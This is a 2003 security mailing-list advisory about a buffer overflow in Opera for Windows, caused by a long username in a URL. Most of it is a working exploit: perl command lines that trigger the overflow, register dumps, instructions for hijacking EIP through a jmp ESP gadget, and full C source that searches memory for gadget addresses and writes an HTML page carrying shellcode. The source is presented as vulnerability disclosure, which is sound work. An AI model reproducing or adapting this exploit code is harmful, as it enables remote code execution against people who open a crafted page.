[NT] Opera Username Buffer Overflow Vulnerability

From: support@securiteam.com
Date: 02/10/03

  • Next message: support@securiteam.com: "[UNIX] Buffer Overflow In NOD32 Antivirus Software for UNIX"
    From: support@securiteam.com
    To: list@securiteam.com
    Date: 10 Feb 2003 21:06:51 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Opera Username Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    Opera for Windows has been found to contain an exploitable buffer
    overflow. This vulnerability in Opera will occur whenever Opera opens a
    URL that contains a long username.

    An attacker can cause the vulnerability by very simple means. Any of the
    following HTML tags can be used: link (anchor tag), picture (image tag),
    frame, script, etc. The vulnerability overwrites the saved RET address in
    stack, and it enables an attacker to execute arbitrary code.

    DETAILS

    Vulnerable systems:
     * Opera 6.05 build 1140
     * Opera 7 beta2 build 2577
     * Opera 7.01 build 2651

    Details:
    When Opera opens a URL that contains a long username, it will parse it
    using the format string of the resource number "21463" (in a language
    file). Generating a string that is displayed in the URL Warning Dialog.

    Because no length checks are enabled for the username an internal buffer
    can be overflowed.

    Examples:
    For Opera6.05 build 1140, English language file:
    Executing:
    $ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')"

    Results in:
      ---------------------------------------------------------------------
      Exception C0000005
      EAX=00410041 EBX=01B5F9BA ECX=0012E254 EDX=01B60E58 ESI=01A8A940
      EDI=77DF6001 EBP=0012E278 ESP=0012CDD8 EIP=00423D68 FLAGS=00000216

      0012CDD8 00000110 00000001 005F2464 00200020 ........d$_. . .
      0012CDE8 00200020 00730055 00720065 0061006E . .U.s.e.r.n.a.
      0012CDF8 0065006D 0020003A 00410041 00410041 m.e.:. .A.A.A.A.
      0012CE08 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
        ....
      0012E268 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
      0012E278 >00410041 00410041 007D0020 007C031E A.A.A.A. .....|.
      0012E288 01A8A940 007D02D0 0012E2D8 00000000 @.....}...E.....
      ---------------------------------------------------------------------

    As you can see, in the above case, the Access Violation occurs before EIP
    moves to the RET address. However, EIP is movable by setting a fake value
    of 0x80000001 or other values to the area that is referred to after
    overwritten.

    Sending the following modified overflow string:
      $ perl -e "exec('opera.exe', 'http://'.'%01%e8%80%80' x 1311
    '%ef%bb%be' x 2 .'@/')"

        "%01%e8%80%80" = 0x80000001, "%ef%bb%be%ef%bb%be" = 0xfefefefe (with
    "Encode all addresses with UTF-8" setting.)

    Will result in:
      ---------------------------------------------------------------------
      Exception C0000005
      EAX=00000001 EBX=005F2464 ECX=00010101 EDX=F03639D8 ESI=00000001
      EDI=00000110 EBP=80000001 ESP=0012E28C *EIP=FEFEFEFE FLAGS=00000202
      ---------------------------------------------------------------------

    ESP register points to the position of the RET address's offsets value +
    about 0x10 bytes.

    Therefore, it is possible to execute the arbitrary code by overwriting the
    RET address in the address of the "jmp ESP" instruction, putting the
    arbitrary commands after the area which is pointed by ESP register.

    Note:
    The username is handled by Opera in this vulnerability is transformed into
    16bit wide characters. Therefore, setting the "Encode all addresses with
    UTF-8" to enabled and encoding the username with UTF encoding allows
    easier exploitation. Without it, exploitation becomes difficult.

    Vendor status :
    Already notified to vendor on the 2003/02/02. However, we do not know the
    correspondence and attitude of Opera Software ASA against this
    vulnerability because we did not have the formal reply from Opera Software
    ASA.

    Exploit:
    /******************************************************************
     *
     * Opera Username Buffer Overflow Exploit
     *
     * PRODUCT : Opera for Windows
     * VERSION : 6.05 build 1140, 7 beta2 build 2577
     * VENDOR : Opera Sotware ASA (http://www.opera.com/)
     * COMMENCT : This program generates exploit HTML file that
     * try to execute "calc.exe". it is encoded by UTF-16.
     * These defined values may depend on environment.
     * It gets address from your memory if "GETADDR" has
     * been defined.
     *
     * USAGE : $ this output_html_filename
     * $ this - >output_html_filename
     *
     * ATTENTION : ***DO NOT ABUSE THIS CODE***.
     * This is a sample only for checking vulnerability.
     * And it is a user's responsibility whatever results
     * is occurred by this code.
     *
     * THANKS : imagine, melorin,
     * MODIFIED : 2003/02/09
     *
     * nesumin <nesumin@softhome.net>
     *
     *********************************************************** TAB[4] */

    //
    // | Username : ... FAKE | SFP | RET | nopnopnopnop | code1 | .........
    nopnopnop | code2 | ....
    // *1 *2 * 3
    //
    // *1 - " Username : " has defined in lng file (no. 21463).
    // this depends on length of it.
    // *2 RET address.
    // *3 ESP register points to.
    //
    // exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025...
    //

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <io.h>
    #include <fcntl.h>
    #include <malloc.h>

    #define GETADDR // for WIN32

    //---------------------------------------------------------------
    //***** OS *****
    // default values.

    // win2k sp3 jp + any Hotfix, kernel32.dll 5.0.2195.6079
    #define ADDR_JMPADDR 0x77E67D04
    #define ADDR_LOADLIBRARY 0x77E6FEE8
    #define ADDR_GETPROCADDR 0x77E7094C

    // win98se jp, kernel32.dll 4.10.0.2222
    //#define ADDR_JMPADDR 0xBFE1623C
    //#define ADDR_LOADLIBRARY 0xBFF77750
    //#define ADDR_GETPROCADDR 0xBFF76E28
    //WinMe jp
    //#define ADDR_JMPADDR 0xBFF4820D
    //#define ADDR_LOADLIBRARY 0xBFF67728
    //#define ADDR_GETPROCADDR 0xBFF66E00
    // WinXP SP1 jp
    //#define ADDR_JMPADDR 0x77E5AE59
    //#define ADDR_LOADLIBRARY 0x77E3D961
    //#define ADDR_GETPROCADDR 0x77E3B332

    //***** depends on lang file (21463) *****
    #if 1
     // english.lng
     #define LABEL_LENGTH 0x10
    #else
     // japanese.lng
     #define LABEL_LENGTH 0x0e
    #endif

    //***** opera's version *****
    #if 1
     // opera 6.05
     #define ADDR_OFFSET (0x149c - (LABEL_LENGTH*2))
     #define CODE1_OFFSET (ADDR_OFFSET + 0x0020)
     #define CODE2_OFFSET (CODE1_OFFSET + 0x00fd)
    #else
     // opera 7 beta2
     #define ADDR_OFFSET (0x14f8 - (LABEL_LENGTH*2))
     #define CODE1_OFFSET (ADDR_OFFSET + 0x0020)
     #define CODE2_OFFSET (CODE1_OFFSET + 0x00fd)
    #endif

    //******************************************
    #define FILLEDWCHAR 0x0041
    #define FAKEVALUE 0x80000001

    //---------------------------------------------------------------
    // egg, based on hsj's egg. thanks.
    // execute "calc.exe"
    unsigned char code1[]={
     
    0xEB,0x5D,0x5B,0x53,0x8B,0xC3,0x33,0xC9,0xB1,0x44,0xD0,0xE9,0x80,0x30,0x02,0x40,
     
    0xE2,0xFA,0x32,0xC0,0x83,0xC3,0x0B,0x4B,0x88,0x03,0xB8,0xAA,0xAA,0xAA,0xAA,0xFF,
     
    0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xC0,0x83,0xC3,0x08,0x88,0x03,0xB8,0xBB,
     
    0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,0x32,0xC0,0x83,0xC3,0x04,
     
    0x88,0x03,0xB8,0xBB,0xBB,0xBB,0xBB,0xFF,0xD0,0x8B,0xF8,0x33,0xC0,0x50,0x43,0x53,
     
    0x53,0x83,0xC3,0x08,0x88,0x03,0x40,0x50,0xFF,0xD6,0x33,0xC0,0x50,0xFF,0xD7
    };
    unsigned char code2[]={//xor 0x02
     
    0x90,0xE8,0xFF,0xFE,0xFF,0xFF,0x6f,0x71,0x74,0x61,0x70,0x76,0x2c,0x66,0x6e,0x6e,
     
    0x5d,0x5d,0x71,0x72,0x63,0x75,0x6c,0x6e,0x72,0x5d,0x67,0x7a,0x6b,0x76,0x5d,0x61,
     0x63,0x6e,0x61,0x2c,0x67,0x7a,0x67,0x5d,0x90
    };

    //---------------------------------------------------------------
    // HTML template data
    const unsigned char html_head[] =
     "<html>\r\n"
     "<head>\r\n"
     "<meta http-equiv=\"content-type\" content=\"text/html;
    charset=UTF-16\">\r\n"
     "<title>Opera Username Buffer Overflow Exploit</title>\r\n"
     "</head>\r\n"
     "<body>\r\n"
     "<h1>Opera Username Buffer Overflow Exploit</h1><br>\r\n";

    #if 0
     // anchor
     const unsigned char html_1[] = "<a title=\"click me\" href=\"http://";
     const unsigned char html_2[] = "@/\">click me</a>\r\n";
    #else
     // image
     const unsigned char html_1[] = "<img src=\"http://";
     const unsigned char html_2[] = "@/\">\r\n";
    #endif

    const unsigned char html_foot[] =
     "<br><br><br><br><br>\r\n"
     "<div>by nesumin</div>\r\n"
     "</body>\r\n"
     "</html>\r\n";

    //---------------------------------------------------------------
    #define CONVERT_SIZE 0xffff
    unsigned char buffer[0xffff];
    unsigned char converted[CONVERT_SIZE+32];

    //---------------------------------------------------------------

    int getAddess(unsigned long *jmp,unsigned long *loadlib,unsigned long
    *getproc);
    void printUsage(void);
    int mb2utf16(unsigned char *dest, int dest_size,
      const unsigned char* source,int source_size);

    int main(int argc, char *argv[])
    {
     int i;
     FILE *fout;
     unsigned long addr_jmpESP = ADDR_JMPADDR,
       addr_LoadLibrary = ADDR_LOADLIBRARY,
       addr_GetProcAddress = ADDR_GETPROCADDR;
     if (argc != 2)
     {
     printUsage();
     return 0;
     }

    #ifdef GETADDR
     // routine of get address.
     if (! getAddess(&addr_jmpESP, &addr_LoadLibrary, &addr_GetProcAddress))
     {
     fprintf(stderr ,"cannot found address\n");
     return 1;
     }
     fprintf(stderr ,"jmpESP\t\t: 0x%08X\n",addr_jmpESP);
     fprintf(stderr ,"LoadLibrary\t: 0x%08X\n",addr_LoadLibrary);
     fprintf(stderr ,"GetProcAddress\t: 0x%08X\n\n",addr_GetProcAddress);
    #endif

     // fill buffer
     for (i=0; i < ADDR_OFFSET-32; i+=2)
     *(unsigned short*)(buffer+i) = (unsigned short)0xffff&FILLEDWCHAR;

     for (i=ADDR_OFFSET-32;i < ADDR_OFFSET; i+=4)
     *(unsigned long*)(buffer+i) = FAKEVALUE;

     // set data
     *(unsigned long*)(buffer+ADDR_OFFSET) = addr_jmpESP;

     for (i+=4; i < CODE2_OFFSET+4; i++)
     buffer[i] = 0x90;
     buffer[sizeof(buffer)-1] = 0;

     // replace address
     for(i=0;i<sizeof(code1)-sizeof(unsigned long);++i)
     if ( *(unsigned long*)(code1+i) == 0xAAAAAAAA )
      *(unsigned long*)(code1+i) = addr_LoadLibrary;
     else if ( *(unsigned long*)(code1+i) == 0xBBBBBBBB )
      *(unsigned long*)(code1+i) = addr_GetProcAddress;

     memcpy(buffer+CODE1_OFFSET, code1, sizeof(code1));

     fout = strcmp(argv[1],"-") ? fopen(argv[1], "wb") : stdout;
     if (!fout)
     {
     fprintf(stderr ,"cannot write file.\n");
     return 1;
     }
     if (stdout==fout && setmode(fileno(stdout), O_BINARY) < 0)
     {
     fprintf(stderr ,"cannot setmode O_BINARY to stdout.\n");
     return 1;
     }

     if ( CONVERT_SIZE > (sizeof(html_1) * 2 + 4)
     && CONVERT_SIZE > (sizeof(html_2) * 2 + 4) )
     {
     int len;
     // UTF-16 BOM(Little Endian)
     fwrite("\xFF\xFE", 1, 2, fout);

     // mbs to unicode and write to file
     //setlocale(LC_CTYPE,"English");
     memset(converted, 0, CONVERT_SIZE);
     len = mb2utf16(converted,sizeof(converted), html_head,
    sizeof(html_head)-1);
     fwrite(converted, 1, len, fout);

     memset(converted, 0, CONVERT_SIZE);
     len = mb2utf16(converted,sizeof(converted), html_1, sizeof(html_1)-1);
     fwrite(converted, 1, len, fout);

     fwrite(buffer, 1, CODE2_OFFSET, fout);
     fwrite(code2, 1, sizeof(code2), fout);

     memset(converted, 0, CONVERT_SIZE);
     len = mb2utf16(converted,sizeof(converted), html_2, sizeof(html_2)-1);
     fwrite(converted, 1, len, fout);

     memset(converted, 0, CONVERT_SIZE);
     len = mb2utf16(converted,sizeof(converted), html_foot,
    sizeof(html_foot)-1);
     fwrite(converted, 1, len, fout);

     fprintf(stderr, "\noutput to : \"%s\"\n", fout==stdout ? "STDOUT" :
    argv[1]);
     fprintf(stderr, "done.\n");
     }
     else
     fprintf(stderr, "cannot convert, the length of html is too long.");
     
     fclose(fout);
     return 0;
    }

    // this is cheep converter, no think surrogate pair :)
    // mbs to wchar_t, wchar_t to 2byte char(little endian)
    int mb2utf16(unsigned char *IN_dest, int IN_dest_size,
      const unsigned char* IN_source,int IN_source_size)
    {
     wchar_t w;
     int i=0,j=0,l;

     if (IN_dest<=0 || IN_source<=0) return -1;
     
     while (i<IN_source_size && j<IN_dest_size-1)
     {
     l = mbtowc(&w, &IN_source[i], IN_source_size-i);
     if (l <= 0) break;
     IN_dest[j++] = (unsigned char)(0xff&w);
     IN_dest[j++] = (unsigned char)(0xff&(w>>8));
     i += l;
     }
     
     return j;
    }

    void printUsage(void)
    {
     fprintf(stderr, "
    _________________________.:._________________________\n");
     fprintf(stderr, "| |\n");
     fprintf(stderr, "* Opera Username Buffer Overflow Exploit *\n");
     fprintf(stderr, "* by nesumin <nesumin@softhome.net> *\n");
     fprintf(stderr,
    "|_____________________________________________________|\n\n");
     fprintf(stderr, "Usage: o6unexp.exe output_filename\n\n");
    }

    #ifdef GETADDR
    //===================================================================//
    // a general routine, search in memory
    #include <windows.h>
    #include <psapi.h>
    //---------- data for search address ------------
    const unsigned char *DllList[]={
     "kernel32.dll",// do not edit kernel32.dll
     "user32.dll",
     "gdi32.dll",
     "advapi.dll",
     "imm32.dll",
     "winmm.dll",
     "ole32.dll",
     "netapi32.dll"
    };

    #define DllCount (sizeof(DllList)/sizeof(unsigned char *))

    const unsigned char *JmpESPList[3]={
     "\xFF\xD4",
     "\xFF\xE4",
     "\x54\xC3"
    };

    int isAddrAvailableChar(unsigned long IN_addr)
    {
     // exclude 0x0000,0xffff,0x002f,0x003e,0x0040,0x0025
     return(
     (IN_addr & 0x0000ffff)
     && (IN_addr & 0xffff0000)
     && ((IN_addr & 0x0000ffff) != 0x0000ffff)
     && ((IN_addr & 0xffff0000) != 0xffff0000)
     && ((IN_addr & 0x0000ffff) != 0x0000002f)
     && ((IN_addr & 0xffff0000) != 0x002f0000)
     && ((IN_addr & 0x0000ffff) != 0x00000022)
     && ((IN_addr & 0xffff0000) != 0x00220000)
     && ((IN_addr & 0x0000ffff) != 0x0000003e)
     && ((IN_addr & 0xffff0000) != 0x003e0000)
     && ((IN_addr & 0x0000ffff) != 0x00000040)
     && ((IN_addr & 0xffff0000) != 0x00400000)
     && ((IN_addr & 0x0000ffff) != 0x00000025)
     && ((IN_addr & 0xffff0000) != 0x00250000)
     );
    }

    // get file version
    int getFileVersion(const unsigned char *IN_name,unsigned long
    *OUT_ms,unsigned long *OUT_ls)
    {
     int ret=0;
     unsigned char *buf;
     unsigned long size,h;
     VS_FIXEDFILEINFO *vf;
     if (OUT_ms && OUT_ls && (size =
    0x0fffffff&GetFileVersionInfoSize((LPTSTR)IN_name,&h)))
     {
     if (buf = malloc(size+4))
     {
      if (GetFileVersionInfo((LPTSTR)DllList[0], 0, size, buf)
      && VerQueryValue(buf,"\\",&vf,&size))
      {
      *OUT_ms = vf->dwFileVersionMS;
      *OUT_ls = vf->dwFileVersionLS;
      ret = 1;
      }
      free(buf);
     }
     }
     return ret;
    }

    unsigned char * searchInMem(unsigned char *IN_start,int IN_size, const
    unsigned char *IN_data, int IN_data_size)
    {
     unsigned char *cur_pos = IN_start + IN_size - IN_data_size;
     
     __try
     {
     while (cur_pos >= IN_start)
     {
      if ( 0 == memcmp(cur_pos, IN_data, IN_data_size)
      && isAddrAvailableChar((unsigned long)cur_pos) )
      return cur_pos;
      --cur_pos;
     }
     }
     __except((STATUS_ACCESS_VIOLATION == GetExceptionCode())
     ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
     {
     fprintf(stderr ,"Exception of Access Violation was occurred in
    searchInMemory()\n");
     }

     return 0;
    }

    int getAddess(unsigned long *OUT_jmp,unsigned long *OUT_loadlib,unsigned
    long *OUT_getproc)
    {
     int i,j;
     unsigned long ms=0,ls=0;
     HMODULE hlist[DllCount];
     OSVERSIONINFO info;
     
     hlist[0] = LoadLibrary("Version.dll");
     if (hlist[0])
     {
     info.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
     GetVersionEx(&info);
     FreeLibrary(hlist[0]);
     
     memset(hlist,0,sizeof(hlist));
     if (info.dwPlatformId==VER_PLATFORM_WIN32_NT)
     {
      // NT
      MODULEINFO minfo;
      HMODULE psapi = LoadLibrary("psapi.dll");
      BOOL (WINAPI
    *fp_GetModuleInformation)(HANDLE,HMODULE,LPMODULEINFO,DWORD);

      fp_GetModuleInformation =
    (void*)GetProcAddress(psapi,"GetModuleInformation");
      for (i=0;i<DllCount;++i)
      {
      hlist[i] = LoadLibrary(DllList[i]);
      if (hlist[i])
      {
       
    fp_GetModuleInformation(GetCurrentProcess(),hlist[i],&minfo,sizeof(MODULEINFO));
       
       for (j=0;j<3 && !(*OUT_jmp = (unsigned
    long)searchInMem((void*)hlist[i],minfo.SizeOfImage,JmpESPList[j],2));++j);
       if (*OUT_jmp)
       {
       getFileVersion(DllList[0],&ms,&ls);
       fprintf(stderr ,"Found : \"%X %X\" - 0x%08X in %s %u.%u.%u.%u\n",
        JmpESPList[j][0], JmpESPList[j][1], *OUT_jmp,DllList[i],
        (ms >> 16) & 0xFFFF, ms & 0xFFFF, (ls >> 16) & 0xFFFF, ls & 0xFFFF);
       break;
       }
      }
      }
      FreeLibrary(psapi);
     }
     else
     {
      // 9x
      MEMORY_BASIC_INFORMATION minfo;
      for (i=0;i<DllCount;++i)
      {
      hlist[i] = LoadLibrary(DllList[i]);
      if (hlist[i])
      {
       VirtualQuery(hlist[i],&minfo,sizeof(MEMORY_BASIC_INFORMATION));

       for (j=0;j<3 && !(*OUT_jmp = (unsigned
    long)searchInMem((void*)hlist[i],minfo.RegionSize,JmpESPList[j],2));++j);
       if (*OUT_jmp)
       {
       getFileVersion(DllList[0],&ms,&ls);
       fprintf(stderr ,"Found : \"%X %X\" - 0x%08X in %s %u.%u.%u.%u\n",
        JmpESPList[j][0], JmpESPList[j][1], *OUT_jmp,DllList[i],
        (ms >> 16) & 0xFFFF, ms & 0xFFFF, (ls >> 16) & 0xFFFF, ls & 0xFFFF);
       break;
       }
      }
      }
     }
     // kernel32.dll
     *OUT_loadlib = (unsigned long)GetProcAddress(hlist[0],"LoadLibraryA");
     *OUT_getproc = (unsigned long)GetProcAddress(hlist[0],"GetProcAddress");

     getFileVersion(DllList[0],&ms,&ls);
     fprintf(stderr ,"%s %u.%u.%u.%u\n",DllList[0],(ms >> 16) & 0xFFFF,ms &
    0xFFFF,(ls >> 16) & 0xFFFF,ls & 0xFFFF);

     for (i=0;i<DllCount;++i)
      if (0 != hlist[i])
      FreeLibrary(hlist[i]);
     }
     return (*OUT_jmp && *OUT_loadlib && *OUT_getproc) ? 1 : 0;
    }
    #endif
    //----------------------------------------------------

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nesumin@softhome.net>
    nesumin.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



    Relevant Pages